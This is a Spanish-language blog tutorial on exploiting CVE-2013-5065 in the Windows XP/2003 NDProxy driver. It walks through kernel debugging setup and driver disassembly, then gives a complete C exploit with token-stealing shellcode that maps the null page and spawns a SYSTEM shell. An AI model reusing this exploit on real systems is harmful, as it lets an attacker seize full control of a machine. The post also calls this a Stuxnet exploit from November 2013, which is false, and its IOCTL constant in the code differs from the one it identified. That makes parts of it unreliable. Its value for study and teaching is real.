lunes, 25 de agosto de 2014

Introducción a la explotación del kernel de Windows - Ring0 exploit

En esta entrada Xangô Security pretende cubrir a grandes rasgos los conceptos básicos requeridos  para la explotación de vulnerabilidades en el kernel de Windows, encontradas usualmente en drivers de interacción de hardware instalado tanto por terceras partes (juegos, anti-virus, periféricos) como de aquellos incluidos por el S. Estas vulnerabilidades han sido tradicionalmente explotadas como forma de elevación de privilegios (EoP) a SYSTEM, así como para la interacción libre con el hardware de la máquina, game over.

La mayor parte del conocimiento común encontrado en Internet con respecto a la explotación del núcleo de Windows se encuentra en inglés, y distribuido por partes. Sírvase el lector de esta práctica introducción que le ayudará pacientemente al entendimiento de estos sencillos pero profundos conceptos que trabajan en el corazón de la gran máquina Windows.

Aparentemente, los primeros documentos difundidos al respecto de este tema fueron Win32 Device Drivers Communication Vulnerabilities por SEC-LAB en la lista de correo full-disclosure (http://securityvulns.ru/docs4946.html) y uno adicional por el fallecido Barnaby Jack Remote Kernel Exploitation - Step into Ring 0, enfocado en la explotación remota de estas vulnerabilidades (http://www.blackhat.com/presentations/bh-usa-05/BH_US_05-Jack_White_Paper.pdf).

Aquí nos enfocaremos en el análisis de una vulnerabilidad 0day explotada por Stuxnet en Noviembre de 2013 como parte de su proceso de infección, ahora conocida y ampliamente documentada, comentada y recomendada para subir los niveles de nuestro Windows Xangô. Se trata de la elevación de privilegios en el driver NDIS, clasificada CVE 2013-5065 que afecta a Windows XP y Windows 2003.

El proceso general puede ser dividido en 5 tareas bien diferenciadas, que funcionarán de guía para la replicación del laboratorio y las diferentes mañas y artimañas requeridas para la creación de un exploit funcional y confiable:
  1. Depuración remota del núcleo, requiere:
    • VirtualBox
    • Windows XP SP3 o Windows 2003
    • Windows Debugger
  2. Interacción con el driver
    • WinObj de Sysinternals toolkit
    • Sólo C que nada C
  3. Identificar ruta de ejecución vulnerable
    • Immunity Debugger o IDA
  4. Explotar vulnerabilidad
    • if(index < 24)  ó if(index <= 24) ???
  5. Armar la carga
    • ASM
    • Kali

Vale la pena mencionar que a pesar de que algunas de estas técnicas han evolucionado hacia versiones más modernas del sistema operativo, los principios generales son los mismos por lo que puede ser este un buen punto de partida.

Un poco de teoría para estimular el Xangô y empezar a explotar cuanto antes:

User-mode vs Kernel-mode

La arquitectura del sistema operativo Windows ha sido diseñada ejecutarse por capas o anillos que se preceden unos a otros. Esto le permite aislar diferentes niveles de acceso recursos y hardware del sistema, siendo los anillos mas bajos los más privilegiados:


El kernel divide el espacio de memoria total [0x00000000 - 0xFFFFFFFF] en dos segmentos por partes iguales y ejecuta cada uno de ellos en modos diferentes:

  • La primera mitad del espacio de memoria que también corresponde al anillo exterior de la cebolla, corre en el anillo 3 (Ring 3 o R3) y consecuentemente en el menos privilegiado, comprende la región [0x00000000 - 0x7FFFFFFF], es ejecutado lo que se conoce como user-mode. 
  • En contraposición, la segunda mitad del espacio de memoria corresponde a los anillos 0, 1 y 2 (R2 & R1 & R0), comprende la región  [0x80000000 - 0xFFFFFFFF] que será ejecutada en kernel-mode.
 

Toda la ejecución de aplicaciones de usuario se realiza en R3, por lo que todo proceso a ejecutarse es creado por los demás anillos, de la misma manera en que una aplicación de usuario debe pedir permiso para acceder a semáforos, mutex y archivos estas peticiones viajan desde user-mode a ser procesadas por el kernel en R0 el cual expide el último veredicto para la correcta reproducción de su mejor playlist.

El núcleo del sistema operativo, que corre en la región alta de la memoria, incluye la capa de abstracción de hardware (HAL) mediante la cual interactúa el usuario con la máquina, administración de memoria física, ejecución y monitoreo de procesos y objetos (archivos, conexiones de red, streams), control de energía, entre otros varios componentes. Estas funcionalidades son a través de drivers y librerías en R1 y R2 que son finalmente consumidas por R3.

DEPURACIÓN REMOTA DEL NÚCLEO


La forma más limpia, eficiente y robusta de hacer debugging al kernel de Windows es subir una máquina virtual cliente que servirá como paciente a ser destripado y disecado desde nuestro servidor. La conexión entre ambos se hace utilizando un cable serial el cual, claro está, virtualizaremos. Todos los pasos aquí mostrados se usaron en Windows XP SP3 en VirtualBox.

Una vez tenga su máquina virtual con alguna versión vulnerable de Windows (Windows XP SP2 o SP3 ó Win2003) debe habilitar la opción de depuración, esto le indicará al SO que debe conectarse a nuestro servidor al otro lado del cable serial antes de iniciar su propio kernel.

Configurar cliente

La configuración de arranque en WinXP está guardada en el archivo boot.ini en la unidad por defecto, puede modificarse a través de la herramienta bootcfg o manualmente; sea este último caso que Xangô te acompañe.
  • Copia de la configuración por defecto:
    bootcfg /copy /D "WinXP con Debug" /id 1
  •  Habilitar debug:
    bootcfg /debug ON /port com1 /baud 115200 /id 2
     

Instalar WinDbg

Puede instalar Windows Debugger de tres maneras: como parte del Windows Driver Kit (opción haxor), como parte del SDK (opción geek) y standalone (mmm...). Haga el favor de mostrarse a usted mismo el camino para el siguiente, siguiente, siguiente, instalar en http://msdn.microsoft.com/en-us/library/windows/hardware/ff551063%28v=vs.85%29.aspx

Una vez tenga instalado WinDbg recuerde que debe descargar el paquete de símbolos de Windows, para esto ejecute en WinDbg:
.sympath  c:\alguna-ruta\symbols
.sympath "SRV* http://msdl.microsoft.com/download/symbols"
.reload
Los símbolos serán descargados y guardados en cache en la ruta especificada.

Configuración puerto serial

De acuerdo a los cambios en la configuración del boot.ini de nuestro WinXP cliente, esa máquina utilizara el puerto COM1 como puerto de depuración. Configuraremos este puerto en las propiedades de la máquina virtual en VirtualBox:



La configuración Host pipe o Tubería anfitrión hará que el proceso de VirtualBox abra el pipe (o tubería) \\.\pipe\debug , al otro extremo de esta tubería estará esperando WinDbg. De esta forma, iniciaremos WinDbg en modo kernel el cual abrirá el pipe \\.\pipe\debug y esperará a la escucha, una vez inicia la maquina virtual enviará una petición al servidor utilizando su puerto serial COM1, este puerto será emulado por VirtualBox, el cual se conectara al pipe debug conectando el kernel con el debugger.

Iniciar WinDbg modo kernel

El último paso será ejecutar WinDbg, File -> Kernel Debug o Ctrl+K y configurar el servidor:



Por supuesto, el servidor de WinDbg en modo kernel debe ser iniciado antes que la máquina cliente.
 Por defecto, WinDbg ejecutará un breakpoint en la subida del cliente, el comando g le permite al cliente continuar.


INTERACCIÓN CON EL DRIVER


Mostraremos el mecanismo de comunicación entre los anillos superiores de ejecución (es decir, de user-mode con los drivers que corren en kernel-mode) a través de nuestro driver vulnerable: ndproxy.sys. Los drivers crean dispositivos de Windows que funcionan como canales de comunicación para la recepción de mensajes desde user-land; estos dispositivos son securable-objects de Windows, su interacción con los usuarios del sistema puede ser limitada por medio ACLs. Como el objetivo aquí es elevar privilegios el dispositivo creado por ndproxy, llamado NDProxy debe ser accesible por todos los usuarios.

Esta verificación puede hacerse utilizando WinObj de Sysinternals:


Una vez confirmado que todos los usuarios tienen permiso de interacción con este dispositivo, comunicarse con el es trivial a partir de la función CreateFile, el handle retornado por esta función será utilizado para la comunicación con el driver:


#include <"stdio.h">
#include <"windows.h">

int main(){
    HANDLE device = CreateFile("\\\\.\\NDProxy", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    if(device == INVALID_HANDLE_VALUE){
        printf("[-] Error abriendo NDProxy: %d\n", GetLastError());
        return 0;
    }
    printf("[+] NDProxy abierto\n");
    CloseHandle(device);
}

La librería kernel32.dll (user-mode) de Windows provee la funcion DeviceIoControl, esta función hace que el administrador I/O cree la estructura IRP_MRJ_DEVICE_CONTROL que es enviada a una función publicada por el driver para su procesamiento. Esta función puede encontrarse con WinDbg, utilizando el siguiente comando:



La lista de Dispatch routines en el índice 0e muestra la función PxIODispatch como encargada de procesar los mensajes IRP_MRJ_DEVICE_CONTROL,esta función contiene la vulnerabilidad. Para pasar datos de usuario como parámetros al driver directamente la funciónPxIODispatch recibe adicionalmente una estructura IRPque es usada por el kernel para la comunicación entre drivers.

Esta estructura IRPcontiene un buffer de datos de entrada así como un código IOCTL, este código le indica al driver que tipo de operación quiere realizar una aplicación en user-land y según dicha operación el buffer de entrada será procesado de una u otra forma. El prototipo de la función DeviceIoControl se define en la documentación de Microsoft así:

 
El handle obtenido a partir de la llamada a CreateFile es pasado como primer parámetro, seguido del código IOCTL, los buffer de entrada y buffer de salida con sus respectivos tamaños, entre otros parámetros de control.

IDENTIFICACIÓN DE FLUJO VULNERABLE


Para encontrar el flujo vulnerable que nos permita ejecución de código arbitrario desensamblaremos el driver propiamente dicho. Desensamblaremos el código del archivo ndproxy.sys ubicado en C:\WINDOWS\system32\drivers y más específicamente su función PxIODispatch.

 La mayoría de la documentación para esta vulnerabilidad indican que el código IOCTL vulnerable es 0x8ff23c8. Sin embargo, al desensamblar el código de validación de IOCTLs encontraremos lo siguiente:


 Tanto el código 0x8ff23c8 como el código 0x8ff23cc llevan a la misma función (loc_1307C) por lo que ambos pueden ser utilizados para seguir el mismo flujo. Dicha función contiene las siguientes instrucciones:



El anterior código en ASM puede representarse aproximadamente de la siguiente manera:

if(sizeof(inputBuffer) <= 0x24 && sizeof(outputBuffer) <= 0x24){
    DWORD val = inputBuffer[0x14];
    if((val - 0x07030101) <= 0x24){
        DWORD val2 = inputBuffer[0x1c];
        DWORD val = val*3*2*2;
        if(val2 >= 0x34){
            
La multiplicación val*3*2*2 se debe a que la instrucción SHL efectúa un corrimiento hacia la izquierda dos unidades, un poco de algebra binaria nos dirá que un corrimiento a la izquierda N unidades representa multiplicar el valor original por 2 a la potencia de N. Una vez llegados a este último condicional, saltaremos aún a una condición adicional:


Para completar nuestro pseudo-código:

if(sizeof(inputBuffer) <= 0x24 && sizeof(outputBuffer) <= 0x24){
    DWORD eax = inputBuffer[0x14];
    if((eax - 0x07030101) <= 0x24){
        DWORD val2 = inputBuffer[0x1c];
        DWORD eax = eax*3*2*2;
        if(val2 >= 0x34){
            if(val2 >= (inputSize - 32)){
                ...etc...
            }else{
                 

Esta última condición puede parecer extraña pero es válido interpretar esta suma realmente como una resta, el operando 0x0ffffffe0 es realmente la representación binaria de -32 (decimal). Si logramos obviar este salto (es decir, lograr saltar a la rama del else)  llegaremos eventualmente a la siguiente porción de código:





Finalizando estas pocas instrucciones se puede ver la instrucción CALL OFF_18188[EAX], OFF_18188 se refiere a una tabla de punteros de funciones a ser llamados. Ahora bien, al ser EAX controlado por nosotros según nuestro pseudo-código, tal vez podamos apuntar a algún puntero útil en la tabla de funciones y secuestrar el flujo de ejecución de un driver corriendo en un anillo más privilegiado O.o

EXPLOTAR VULNERABILIDAD


En resúmen, se requieren dos condiciones necesarias para seguir el flujo vulnerable que acabamos de detallar, ellas son:
  • inputBuffer[0x14] - 0x07030101 <= 0x24
  • inputBuffer[0x1c] >= 0x34 && inputBuffer[0x1c] < (inputSize - 32)
Aparte de estas dos restricciones encontramos que el valor de EAX, valor usado como índice en la tabla de funciones, es calculado de acuerdo a la siguiente operación:
  • EAX = (inputBuffer[0x14] - 0x07030101)*3*2*2
La tabla de funciones utilizada como referencia por el driver inicia en 18188 y termina en 18330, con un tamaño de 1a8 o 424 bytes. Si quisieramos apuntar el flujo de ejecución fuera de la tabla tendremos que hacer a EAX mayor a 0x1a8.

Esta condición es posible sólo cuando inputBuffer[0x14] - 0x07030101 es igual a 0x24, en cuyo caso (0x24*3*2*2) = 0x1b0, mientras que cuando la primera restricción es igual a 0x23 tenemos que (0x23*3*2*2) = 0x1a4. Ahora bien, si contamos 0x1b0 bytes desde el inicio de la tabla 18188 tenemos que la dirección resultante apunta hacia 18338, que contiene lo siguiente:



He aquí que verdaderamente reside la explotación de esta vulnerabilidad, la dirección resultante de las intrincadas operaciones conllevan a que el flujo de ejecución en kernel-mode sea transferido a 0x00000038 , esta dirección pertenece a user-mode, de hecho un proceso puede reservar la primera página de memoria (que comprende los primeros 4096 bytes de memoria, empezando desde 0) y efectivamente escribir en ella lo que más le venga en gana.

De acuerdo a este razonamiento escribiremos nuestro primer exploit:

#define INPUT_SIZE 0x80
int main(){
    HANDLE device = CreateFile("\\\\.\\NDProxy", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    if(device == INVALID_HANDLE_VALUE){
        printf("[-] Error abriendo NDProxy: %d\n", GetLastError());
        return 0;
    }
    
    printf("[+] NDProxy abierto\n");
    LPVOID inputBuffer = VirtualAlloc((LPVOID) 0, INPUT_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    printf("[*] Input buffer en 0x%08X\n", inputBuffer);

    //inputBuffer[0x14] - 0x7030101 &lt;= 0x24 (sera usado como puntero a la tabla)
    memset(inputBuffer+0x14, 0x25, 1);
    memset(inputBuffer+0x15, 0x01, 1);
    memset(inputBuffer+0x16, 0x03, 1);
    memset(inputBuffer+0x17, 0x07, 1);

    //inputBuffer[0x1c] &gt;= 0x34 &amp;&amp; inputBuffer[0x1c] &lt; (INPUT_SIZE - 32)
    memset(inputBuffer+0x1c, 0x35, 1);
    

    DWORD lpBytesReturned;
    DeviceIoControl(device, 0x8fff23c8, inputBuffer, INPUT_SIZE, inputBuffer, 0x25, &amp;lpBytesReturned, NULL);
    printf("[*] %d bytes escritos\n", lpBytesReturned);
    CloseHandle(device);
}

ARMAR LA CARGA

Si ejecutamos el exploit anterior mientras está conectado WinDbg en modo de depuración de kernel podremos ver que la ejecución es efectivamente transferida a la dirección 0x00000038 donde espera encontrar nuestro shellcode. Aunque no profundizamos en esta sección mostraremos el método más sencillo para elevar nuestros privilegios a SYSTEM.

La conocida técnica consiste en obtener la estructura ETHREAD donde se encuentra un puntero a la estructura EPROCESS, donde se encuentra la lista de estructuras EPROCESS llamada ActiveProcessList. Existe una de estas estructuras para cada proceso en ejecución, por lo que al enumerar cada una de ellas podremos encontrar el proceso con ID 4, que corresponde a SYSTEM en Windows XP (este identificador cambió en versiones posteriores).

Una vez encontrada la estructura EPROCESS para el proceso SYSTEM podemos extraer de ella el Token de usuario, sobreescribir nuestro propio Token y restaurar el estado de los registros para retornar el control de la ejecución al kernel. Aquí se muestra este breve shellcode:



Para escribir estas instrucciones a la dirección 0x38 haremos uso de la función ZwAllocateVirtualMemory que nos permitirá reservar la primera página y copiar allí estas instrucciones. Esta operación se muestra en la siguiente función:

int NullPage(){ 
    unsigned char sc[] = {
        0x90, 0x60, 0x31, 0xc0, 0x64, 0x8b, 0x80, 0x24, 0x01, 0x00, 0x00, 0x8b, 0x40, 0x44, 0x89, 0xc3, 0x8b, 0x80, 
        0x88, 0x00, 0x00, 0x00, 0x2d, 0x88, 0x00, 0x00, 0x00, 0x83, 0xb8, 0x84, 0x00, 0x00, 0x00, 0x04, 0x75, 0xec, 
        0x8b, 0x80, 0xc8, 0x00, 0x00, 0x00, 0x89, 0x83, 0xc8, 0x00, 0x00, 0x00, 0x61, 0xc3
    };
    FARPROC zwAlloc = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwAllocateVirtualMemory");
    printf("[*] ZwAllocateVirtualMemory en 0x%08X\n", zwAlloc);
    PVOID baseAddr = (PVOID)0x00000001;
    PSIZE_T regSize = (PSIZE_T)0x50;
    unsigned int status = zwAlloc(GetCurrentProcess(), &amp;baseAddr, 0, &amp;regSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(status != 0){
        printf("[-] ERROR ZwAllocateVirtualMemory [status: %d]: %d\n", status, GetLastError());
        return 0;
    }
    printf("[*] Escribiendo a pagina 0...\n");
    memcpy((void*)((BYTE*)baseAddr+0x38), (void*)sc, sizeof(sc));
    return 1;
}

Para cuando el driver retorne la ejecución a user-mode nuestro proceso tendrá privilegios de SYSTEM completos. El exploit completo queda como se muestra ahora:

#include <stdio.h>
#include <windows.h>

#define INPUT_SIZE 0x80

int NullPage(){ 
    unsigned char sc[] = {
        0x90, 0x60, 0x31, 0xc0, 0x64, 0x8b, 0x80, 0x24, 0x01, 0x00, 0x00, 0x8b, 0x40, 0x44, 0x89, 0xc3, 0x8b, 0x80, 
        0x88, 0x00, 0x00, 0x00, 0x2d, 0x88, 0x00, 0x00, 0x00, 0x83, 0xb8, 0x84, 0x00, 0x00, 0x00, 0x04, 0x75, 0xec, 
        0x8b, 0x80, 0xc8, 0x00, 0x00, 0x00, 0x89, 0x83, 0xc8, 0x00, 0x00, 0x00, 0x61, 0xc3
    };
    FARPROC zwAlloc = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwAllocateVirtualMemory");
    printf("[*] ZwAllocateVirtualMemory en 0x%08X\n", zwAlloc);
    PVOID baseAddr = (PVOID)0x00000001;
    PSIZE_T regSize = (PSIZE_T)0x50;
    unsigned int status = zwAlloc(GetCurrentProcess(), &amp;baseAddr, 0, &amp;regSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(status != 0){
        printf("[-] ERROR ZwAllocateVirtualMemory [status: %d]: %d\n", status, GetLastError());
        return 0;
    }
    printf("[*] Escribiendo a pagina 0...\n");
    memcpy((void*)((BYTE*)baseAddr+0x38), (void*)sc, sizeof(sc));
    return 1;
}   

int main(){
    HANDLE device = CreateFile("\\\\.\\NDProxy", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    if(device == INVALID_HANDLE_VALUE){
        printf("[-] Error abriendo NDProxy: %d\n", GetLastError());
        return 0;
    }
    
    printf("[+] NDProxy abierto\n");
    LPVOID inputBuffer = VirtualAlloc((LPVOID) 0, INPUT_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    printf("[*] Input buffer en 0x%08X\n", inputBuffer);

    //inputBuffer[0x14] - 0x7030101 &lt;= 0x24 (sera usado como puntero a la tabla)
    memset(inputBuffer+0x14, 0x25, 1);
    memset(inputBuffer+0x15, 0x01, 1);
    memset(inputBuffer+0x16, 0x03, 1);
    memset(inputBuffer+0x17, 0x07, 1);

    //inputBuffer[0x1c] &gt;= 0x34 &amp;&amp; inputBuffer[0x1c] &lt; (INPUT_SIZE - 32)
    memset(inputBuffer+0x1c, 0x35, 1);
    
    //zero page
    NullPage();
    
    DWORD lpBytesReturned;
    DeviceIoControl(device, 0x8fff23c8, inputBuffer, INPUT_SIZE, inputBuffer, 0x25, &amp;lpBytesReturned, NULL);
    printf("[*] %d bytes escritos\n", lpBytesReturned);
    CloseHandle(device);
    printf("[*] Exec\n");
    system("start /d \"C:\\windows\\system32\" cmd.exe");
}

El proceso ejecutará finalmente una shell como prueba de concepto: